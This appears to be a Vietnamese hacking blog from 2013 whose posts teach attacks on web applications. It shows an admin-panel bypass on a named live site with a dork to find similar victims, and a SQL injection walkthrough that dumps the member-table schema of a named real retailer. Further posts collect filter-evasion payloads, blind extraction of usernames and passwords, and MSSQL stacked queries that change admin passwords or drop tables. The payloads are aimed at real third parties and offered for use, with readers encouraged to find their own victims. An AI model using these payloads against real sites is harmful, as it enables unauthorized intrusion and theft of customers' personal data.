Social Icons

Thứ Tư, 10 tháng 7, 2013

bypass admin Cpanel không cần password

Có ai tin khi không cần username và password vẫn chiếm được quyền admin của website không? Chắc đa phần là KHÔNG rồi, vậy thì cùng nhau xem cái tut nhỏ này nhé

Vào site này: http://www.saongoc.com.vn/admin/
thử vào admin nó xem sao. http://www.saongoc.com.vn/admin/
-> username ?
-> password ?
=> Tịt ngòi rồi hjc hjc, không lẽ chịu thua???

Nói chứ có cách bypass nó rồi bây giò bắt đầu tut he vào bằng thằng firefox
Firefox --> tools--> options--> content--> Bỏ chọn cái enable javascript (nói chung trình duyệt nào cũng được nhưng disable cái Javascript đi để nó khỏi check :D )
-> Rồi vào lại cái trang admin nó xem sao : http://www.saongoc.com.vn/admin/
=> Vào được admin panel rồi nhé

Dork: "Design by Trang Web Vàng"
https://www.google.com.vn/#output=search&sclient=psy-ab&q=%22Design+by+Trang+Web+V%C3%A0ng%22&oq=%22Design+by+Trang+Web+V%C3%A0ng%22&gs_l=hp.3..33i29i30l4.6611.7442.0.7666.3.3.0.0.0.0.312.595.2-1j1.2.0...0.0.0..1c.1.17.psy-ab.mmk6vKa9B1o&pbx=1&bav=on.2,or.r_cp.r_qf.&bvm=bv.48705608,d.dGI&fp=c44b46fc16e9dd76&biw=1366&bih=600

Nguồn: https://www.facebook.com/VietTutorial
readmore...

Thứ Ba, 2 tháng 7, 2013

Khai thác SQLi HTML

Chú ý victim trong bài có thể đã được Fix lỗi. Nên kím site khác để thực tập
victim tìm cả đêm lần này là:

http://www.worldwidehealthcenter.net/articles-261.html

Thêm dấu ' vào sau những con số 

http://www.worldwidehealthcenter.net/articles-261'.html

Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/whc/www/articles.php on line 16

Warning: Cannot modify header information - headers already sent by (output started at /home/whc/www/articles.php:16) in /home/whc/www/include.php on line 432

Bắt đầu order by

http://www.worldwidehealthcenter.net/articles-261 order by 1-- -.html >>ok

http://www.worldwidehealthcenter.net/articles-261 order by 7-- -.html >> ok

http://www.worldwidehealthcenter.net/articles-261 order by 8-- -.html >> bao loi

>>8-1=7 nhé

bây giờ union select : 

http://www.worldwidehealthcenter.net/articles-261 union select 1,2,3,4,5,6,7-- -.html

ui số má đâu hết rồi: , view source , chẳng thấy gì hết chán.

Ghét quá thay số bằng null xem 261=null

http://www.worldwidehealthcenter.net/articles-null union select 1,2,3,4,5,6,7-- -.html

ui ra rồi 2 và 3 nhé

Tìm các thông tin :version(),database(),user()

http://www.worldwidehealthcenter.net/articles-null union select 1,2,version(),4,5,6,7-- -.html

Tiếp theo tìm table name

http://www.worldwidehealthcenter.net/articles-null union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()-- -.html

1 đống :

adprice,artcat,articles,banners,brands,bulktemp,ca tegories,clickthrus,concerns,countries,directory,d irectorybak,directorystats,discount,distributorord er,emailaddresses,exchange,iptoc,keywords,loyalty, member,memberbak,memberbak2,message,ocountries,ord eritems,orders,ordersbak,postal,practcat,products, productsbak,purchaseorders,retaildiscount,ship,shi pdiscount,shipping,states,static,subscribers,suppl iers

Tìm table chứa thông tin 

Ở đây nhìu cái quá mình loạn, thôi mình tìm table member nhé
member=0x6d656d626572 (conver to hex nhé)
get column

http://www.worldwidehealthcenter.net/articles-null union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database() and table_name=0x6d656d626572-- -.html

lại ra 1 đống :
id,password,email,title,firstname,surname,company, address,city,state,postal,shoppercountry,tel,fax,s ameshipadd,shiptitle,shipfirstname,shipsurname,shi pcompany,shipaddress,shipcity,shipstate,country,sh ippostal,shiptel,shipfax,advertise,dateemailed,typ e
readmore...

Các phương pháp bypass để upload shell

Đây là tài liệu tiếng Anh mô tả các phương pháp upload shell.

Các bạn có thể dùng google translte để dịch

Không hiểu có thể comment ở đây

Shell_Uploading_Guide.pdf
readmore...

Tổng kết một số mẹo bypass SQLi

- Khi query 1 số site chặn các hàm union,select,convert…thì khi query nó trả về trang trắng, lúc này ta thay đổi 1 số chữ Hoa, thường xen kẽ nhau: UniON, SeLECt… hoặc conveter sang ascii

- Khi query cũng có 1 số site trả về trang trắng, thì ta nhìn kỹ trên site nha,kể cả title site.Nếu ko thấy ae view source sẽ thấy

- 1 số query table_name không hiện ra , ta unhex(hex(group_concat(table_name))

- Khi query nó trả về thế này
Forbidden
You don’t have permission to access /news.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Hoặc

Not Acceptable
An appropriate representation of the requested resource / could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request

Thì ta dùng /*! */ (VD: /*!union*/ hoặc /*!select*/ hoặc information_schema./*!tables*/..vv)

-Nếu query nó ra thế này:
406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!
Thì các bạn cần tư duy chút. VD: các bạn có thể thay space = %0A (kí tự xuống dòng) ..vv

Còn lỡ gặp error này:
Error 500: Internal Server Error
The server encountered an unexpected condition which prevented it from fulfilling the request.

The problem is on the server side, not with your browser or the address. Most probably, a certain service (e.g., Tomcat engine) is down. Please contact your webmaster.
thì các bạn sử dụng buffer overflow query 

id=.. and (select 1)=(select 0xAAAAAAAAAAAAAAAA 1000 A nhé) union select 1,2,3....

1 Số truy vấn khác
-Tạo 1 table_name:
;drop table kingnuscreate table thanggiangho (id int identity,kingnusvarchar(99999)) insert into kingnusselect table_name from information_schema.tables–sp_password

-Thay đổi pass admin: lấy vd trên nếu như username :kingnus/pass:ceh
;UPDATE table1 SET password = ‘ceh’ WHERE username=’kingnus’–

-Chèn 1 record mới vào table
;INSERT INTO ‘table1′ (‘ID’, ‘username’, ‘password’, ‘details’) VALUES (99,’kingnus’,’ceh’,’Online’)–

-Tìm tất cả các table có liên quan như: admin,user,member,account,login…
and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name like ‘%admin%’ or table_name like ‘%Member%’ or table_name like ‘%User%’ or table_name like ‘%account%’ or table_name like ‘%login%’))–sp_password

and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name not in (”) and (table_name like ‘%25admin%25′ or table_name like ‘%25Member%25′ or table_name like ‘%25User%25′ or table_name like ‘%25account%25′ or table_name like ‘%25login%25′)))–sp_password

-Lấy tất cả các table_name:
; begin declare @temp varchar(8000) set @temp=’:’ select @temp=@temp%2btable_name%2b’/’ from information_schema.tables select @temp as id into kingnusend–
or 1=(select id from kingnus)–
; drop table kingnus–

-Lấy tất cả các column_name từ 1 table_name: vd table_name : tbadmin

; begin declare @temp varchar(8000) set @temp=’:’ select @temp=@temp%2bcolumn_name%2b’/’ from information_schema.columns where table_name=’tbadmin’ select @temp as id into kingnus end–
or 1=(select id from kingnus)–
readmore...

Khai thác Blink SQLi

1. Phát hiện lỗi “blind sql injection”:
- Đối với MY SQL vesion 4 trở xuống để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng. Ví dụ như:
http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1
nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi

2. Khai thác:

VD:http://www.site.com/news.php?id=5

Ta tiến hành kiếm version bằng cách sử dụng hàm cắt chuỗi Substring() VD: Substring(‘mmdVBF’,5,3) kết quả sẽ là neo
http://www.site.com/news.php?id=5 and substring(version(),1,1)=4

Trang sẽ hiện thị bình thường nếu kết quả truy vấn trên đúng , nếu vậy phiên bản của Mysql này là 4.xxx.x còn nếu không chúng ta thay 4 thành 5 để kiểm tra tiếp

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

http://www.site.com/news.php?id=5 and (select 1)=1

nếu site tải thông thường thì subselects làm việc.
sau đó chúng ta sẽ xem liệu chúng ta có thể truy cập mysql.user

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

nếu tải trang thông thường chúng ta có thể truy cập để mysql.user và sau đó, chúng ta có thể kéo một số password usign load_file() function and OUTFILE.

kiểm tra table và column:

Đây là một phần khi đoán:

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

(sử dụng limit 0,1 truy vấn ở đây của chúng ta trả về 1 hàng của dữ liệu, gây ra subselect trả về chỉ 1 hàng, điều này là rất quan trọng.)
sau đó nếu trang tải bình thường mà không có nội dung thiếu, thì table users tồn tại
nếu bạn get FALSE (một số điều còn thiếu), hãy thay đổi table_name cho đén khi đoán đúng
bây giờ chúng ta có table name là users, nên giờ chúng ta cần column name.
Giống như tên bảng, chúng ta bắt đầu đoán. Giống như tôi đã nói trước khi thử các tên gọi thông thường cho các cột.

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

nếu trang tải bình thường, chúng ta biết rằng tên cột là password (nếu chúng ta sai thì thử tên gọi thông thường hoặc chỉ đoán)
ở đây chúng ta hợp nhất 1 cột password, sau đó trả về chuỗi ký tự đầu tiên (1,1)

lấy dữ liệu từ cơ sở dữ liệu
chúng tôi tìm thấy người sử dụng bảng, cột: username, password . vì vậy chúng ta sẽ get các characters từ đó.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok này ở đây get ký tự đầu tiên: user ,trong table users.
substring ở đây trả về character đầu tiên và 1 character trong length. ascii() converts mà 1 character vào giá trị ascii .
và sau đó so sánh nó với simbol lớn hơn sau đó>.
vì vậy nếu char ascii lớn hơn 80 sau đó, tải trang web bình thường. (TRUE)
chúng ta tiếp tục cố gắng cho đến khi chúng ta nhận được sai.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

chúng ta nhận được TRUE, giữ incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE một lần nữa, cao hơn:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!
do đó, ký tự đầu tiên trong tên username là char (99). Sử dụng bộ chuyển đổi ascii, chúng ta biết rằng char (99) là chữ ‘c’.
sau đó cho phép kiểm tra các character thứ hai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Lưu ý rằng tôi thay đổi, 1,1, 2,1 để có được những characte thứ hai. (bây giờ nó trả về characte thứ hai, 1 characte lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, trang tải bình thường, cao hơn.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, thấp hơn số lượng.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, cao hơn.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
readmore...

Khai thác SQLi trên một số cơ sở dữ liệu phổ biến

Sau khi xác định site sqli + check sqli +hệ quản trị CSDL là gì (phổ biến MsAccess,MSSQL,MySQL, Oracle), thì chúng ta bắt tay vào công việc khai thác chúng. (Mỗi hệ quản trị CSDL khác nhau thì có cách khai thác gần như là khác nhau).Các bạn phải lắm rõ vần đề tưrên để sau này dễ dàng cho việc khai thác lỗi. Cách khai thác lỗi của từng ứng dụng sử dụng CSDL trên sẽ đợc trình bày ở dưới: (tuy nhên theo kinh các newbie cố găng tập trung MySQL vì nó là phổ biến)

Đối với hệ CSDL MySQL:
Lỗi trả về thường xuất hiện các dấu hiệu sau:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘” at line 1

Riêng bọn này các bạn cần chú ý việc đầu tiên ta khai tác là kiếm version (phiên bản) của nó hiện tại.
Kĩ thuật khai thác bọn này được thực hiền lần lượt như sau:

1. Đầu tiên ta tiến hành xác định số cột trong table hiện tại bằng cách sử dụng Order by n (VD: 6)
2. Tiếp theo ta sử dụng UNION SELECT [ số cột tìm được , được phân cách bằng dấu phẩy]–
http://demo.com.vn/index.php?id=-1 Union Select 1,2,3,4,5,6–
nó sẽ hiện ra những con số.Nếu không hiện số:
+ viewsource
+ Xem file ảnh bị lỗi để thấy số
+ Thay số bằng null (vd id=-188 thì thay id=null UNION….)
+ Thay các column(field) bằng null (vd :UNION SELECT null,null,….)
+ Bypass filter (mod_security)( TH này mình sẽ đi sâu phần sau)
+ TH hiện ra thông báo thế này: The used SELECT statements have a different number of columns
Union select như sau: id=1+and+1=0+UNION SELECT+1,2…
Hoặc dùng error base:
And (Select 1 From(Select Count( * ),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)– -
and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–
or 1 group by concat_ws(0x7c,version(),database(),current_user,f loor(rand(0)*2)) having min(0) or 1–
Hoặc dùng blind: and substring(version(),1,1)=5
Tuỳ thời cơ mà biến hoá chúng
Tỉ dụ nó hiện ra số 3.
3. Công việc tiếp theo của ta là xác định version (Công việc quan trọng nhất)
http://demo.com.vn/index.php?id=-1 Union Select 1,2,version(),4,5,6–
Nếu kết quả trả về :
>>>>Phiên bản lớn hơn hoặc bằng 4 và nhỏ hơn 5: Khai thác như lỗi của CSDL MsAccess (Hack Đoán)
>>>>Phiên bản lớn hơn 5 thì sử dụng cách dưới đây.
Okie, ta đã xác định được phiên bản là lớn hơn 5. Ta tiến hành truy vấn.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables–
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(table_name) USING latin1),4,5,6 From Information_schema.tables–
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(table_name))),4,5,6 From Information_schema.tables–

Tuỳ thời cơ mà biến hoá chúng.
nó sẽ trả về giá trị đầu tiên là: CHARACTER_SETS, để gộp tất cả các table lại cho dễ tìm kiếm thì các bạn dùng hàm Group_concat() hoặc limit.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(table_name),4,5,6 From Information_schema.tables–

http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit 17,1–

http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit n,1–

Chúng ta không quan tâm lắm nhưng table dạng như này:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,admins
vì đó chỉ là những table của hệ thống thôi, quan trọng là xác định được table chứa admin trong mớ hỗn độn phía trên. VD ta tìm được table chưa thông tin của admin là admins.
Ta tiến hành chuyển chuỗi ‘admin’ sang dạng hex để dễ khai thác vd chuyển sang là AAAA
thì ta tiến hành tìm các column trong table admins đó bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(column_name),4,5,6 From Information_schema.columns where table_name=(0xAAAA)–

http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(column_name) USING latin1),4,5,6 From Information_schema.columns where table_name=(0xAAAA)–

http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(columns_name))),4,5,6 From Information_schema.Columns where table_name=(0xAAAA)–

sau công viẹc này ta đã xác định được 2 column quan trọng nhất , VD là username và password.
Ta tiến hành lấy thông tin. Bằng cách

http://demo.com.vn/index.php?id=-1 Union Select 1,2,concat(username,0x2f,password)4,5,6 From admins–

0x2f: là dạng hex của kí tự /

Đối với Hệ CSDL MSACCESS
là loại khó phá nhất trong các site dính SQLInj , lý do không phải do nó bảo mật, mà là do mặc định nó truy cập file mdb không bằng quyền admin, do đó table msysobjects chứa các table của nó ta không thể đụng được. Đụng vào CSDL này là phải blind hack (Hack đoán).
lỗi trả về của loại này thường xuất hiện các dấu hiệu sau: Jet database, ODBC Microsoft Access Driver. Khai thác loai này như sau:
Đầu tiên ta sử dụng lệnh UNION SELECT 1 FROM [Table_name]
[Table_name]: Là tên table bạn đoán nó sẽ chứa thông tin về Username và pasword của Victim. VD: Admin, Admins, Account, Thanhvien, Quantri, User, Users,…
VD: Bạn khai thác: http://demo.com.vn/news.asp?id=72 Union select 1 from admin
lỗi trả về là:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e37′
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query ‘admin’. Make sure it exists and that its name is spelled correctly. (Dịch nôm na là không tồn tại table ‘admin’ trong CSDL) đừng nản trí, hãy đoán tiếp http://demo.com.vn/news.asp?id=72 Union select 1 from admins
Microsoft OLE DB Provider for ODBC Drivers error ’80004005′
[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match.
/news.asp, line 16 (Dịch nôm na là: Số cột không cần bằng khi sử dụng truy vấn với Union)

Đến đây chúng ta đã biết table chứa thông tin về victim là ‘admíns’ đến lúc này bạn chỉ việc ngồi đếm số cột trong table đó bằng cách Union select 1,2,3,..,n from admins các bạn cứ đếm sao cho nó không báo lỗi nữa mà trên trang đó hiện ra những con số. Đến lúc này bạn lại phải đoán column chứa username và password rồi thay thế chúng vào những con số hiện ra đó sao cho không hiện ra lỗi tức là bạn đã đoán đúng.

VD: Bạn đếm được đến số 5 thì kô còn lỗi, Con số hiện ra đó là 2,3 và column chứa tên đăng nhập của admin là username, column chứa mật khẩu của admin là password thì bạn sẽ khai thác http://demo.com.vn/news.asp?id=72 Union select 1,username,password,4,5 from admins

Đối với MsSQL
Lỗi trả về của bọn này thường xúât hiện các dấu hiệu sau:
Microsoft OLE DB Provider for ODBC Drivers ,ODBC SQL Server Driver, Gọi tắt là (lỗi OLE DB)

Cách khai thác bọn này sử dụng kĩ thuật “Magic convert”. Kĩ thuật này được sử dụng như sau:
and 1=convert(int,(select top 1 table_name from information_schema.tables))–sp_password

Hoặc

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(”)))–sp_password

Trong bảng Information_schema.tables có chứa tất cả các table trong CSDL (Đây là gót chân Asin của bọn này )
-Nếu tìm ra được cái table_name đầu tiên ví dụ là table1
Check table tiếp theo của nó:

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘table1′,’table2′,..,’table n’)))–sp_password

cư như thế cho đến khi nào nó ra cái table_name chứa thông tin admin vd:tbladmin,admin,user,tbuser..

Bước 2: Get column
Tìm được cái table_name chưa thông tin admin rồi,ta tiến hành get column_name. Giả sử table1 chứa thông tin về admin

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’table1′))–sp_password

vd ta tìm được column thứ 1 trong table1 là username
Tiếp tục get các column thứ 2 trong table1:

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’table1′ and column_name not in(‘username’)))–sp_password

Nếu tìm được username/password trong table1 thì ta check pass của nó

Bước 3: Check pass
table_name là table1
column_name trong table1 là : username/password
and 1=convert(int,(select top 1 username%2b’/’%2bpassword from table1))–sp_password
readmore...

SQLi là gì?

1. Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, Firefox,…

2. Kiến thức cần biết:
-dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
- dấu thăng (#) và dấu (–): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.
- dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.
- kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).
MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế.
MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế.
MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).
Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng các hệ thống cần chế độ bảo mật rất cao!.

3. Cách kiểm tra 1 site có SQL injection (tổng quát)
Bình thường để hack 1 site lỗi SQL injection bao gồm các bước :
B1 : Kiểm tra xem site có lỗi hay không
B2 : Order By (Đếm số cột liên quan trong câu query mà URL của site đó chạy )
B3 : Union Select
a) Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback hoặc qua cách truyền tham số (Dork) VD: chitiet.php?id=21 , detail.asp?id=6,…
b) Khi tìm kiếm được mục tiêu cần tấn công chúng ta cần phải xác định được hệ quản trị CSDL của website đó ( đây là bước quan trọng) bằng cách nhìn tổng thẻ website, ngôn ngữ thiết kế, OS của server qua quá trình thăm dò. Ở đây tôi xin thống kê các database thường gặp đi cùng với ngôn ngữ thiết kế website.
c) khi xác định được mục tiêu thì các bạn cần kiểm tra các lỗi xem có khả năng tấn công dựa vào nó được không. Các kĩ thuật khai thác lỗi như sau:

Với các tham số được truyền vào VD: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn (‘), dấu nháy kép (“), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% bạn có khả năng khai thác được lỗi này – Sẽ trình bày rõ ở phần sau).
-Với các ô submit thông tin như tìm kiếm, login, contact, request,.. các bạn cũng làm tương tự.
Ví dụ:
http://ww.site.com/index.php?id=1 (giả sử đây là site bị lỗi SQL injection)
cú pháp
http://ww.site.com/index.php?id=1‘ lỗi
——–
http://ww.site.com/index.php?id=1″ lỗi
——–
http://ww.site.com/index.php?id=1%27 lỗi
——–
http://ww.site.com/index.php?id=1 and 1=0 lỗi
http://ww.site.com/index.php?id=1 and 1=1 không lỗi

4. share 1 số kinh nghiệm cho ae:
1. Nếu bạn check lỗi SQL Inj ở 1 website mà bạn không thấy lỗi hiện ra thì đừng nên bỏ qua chúng vì nó có thể bị admin làm cho ẩn đi.
2. Nếu không ra số đẹp khi Union thì hãy view Scoure nó lên và tìm, có thể nó ở trong đó.
3. Thay vì thêm ‘ vào sau id để kiểm tra thì các bạn có thể sử dụng kĩ thuật
sử dụng các phép toán: VD: and 1=1 hiện ra site , and 1=0 hiện ra site báo lỗi =>> Site đã bị dính sql inj
sử dụng các phép toán kiểu true fales: VD: 2>3 ; 2<3
1–1
BETWEEN 1 AND 3
‘b’ BETWEEN ‘a’ AND ‘c’
2 IN (0,1,2)
CASA WHEN 1>0 THEN 1 END
‘ uuu’ = ‘uuu’
ISNULL(NULL)
ISNULL(COT(0))
1 IS NOT NULL
NULL IS NULL
Nếu tham số (id) của trang hiện tại là 3, tham số trang sau là 2, nếu ta dùng 3-1 , kết quả trả về là nội dung của trang có id=2 thì 99% là site này dính lỗi SQL Injection
readmore...

Cách để bypass SQLi

Một số trick mình hay dùng khi khai thác.Thường thì chỉ chặn select tuy nhiên có 1 vài trường hợp chặn luôn cả khoảng trắng ở url khi đấy thay các ký tự như /**/ + %252f%252a*/ …. muốn tìm thêm thì nhìn vào setting của havij có mấy cái đấy. Nhưng đấy là số ít, giờ ta vào phần chính:

Cách 1: thay ký tự thường bằng ký tự hoa
id=1+UnIoN SeLeCT 1,2,3,4– -

Cách 2: dùng cặp thẻ /*!code*/
id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4– -

Cách 3: dùng like thay cho = (khi dấu = bị chặn)
/*!TaBlE_ScHeMa*/+like+database()– -

Cách 4: Lồng thêm vào Union và select khi bị chặn keyword
id=1+UNIunionON+SeLselectECT+1,2,3–

Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:
sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+’SeL”ECT’

Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)

Cách 7: dùng char()
CHAR(117, 115, 101, 114, 115)

Cách 8: show table ẩn:
group_concat(unhex(hex(table_name)))

Cách 9: select
UNION all /*!50000SELECT*/

Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables

(Nguồn: Dark.Hades)
readmore...

Thứ Hai, 1 tháng 7, 2013

[ Part I ]Hacker, Cracker, Forum ngầm,....

#1:


#2:


#3:


#4:


#5:


#6:


#7:


#8:


#9:



-----Update 11-07----

#10:


#11: Cái này tâm đắc nhất

Trang web hacker nổi tiếng deep
--------END-----

readmore...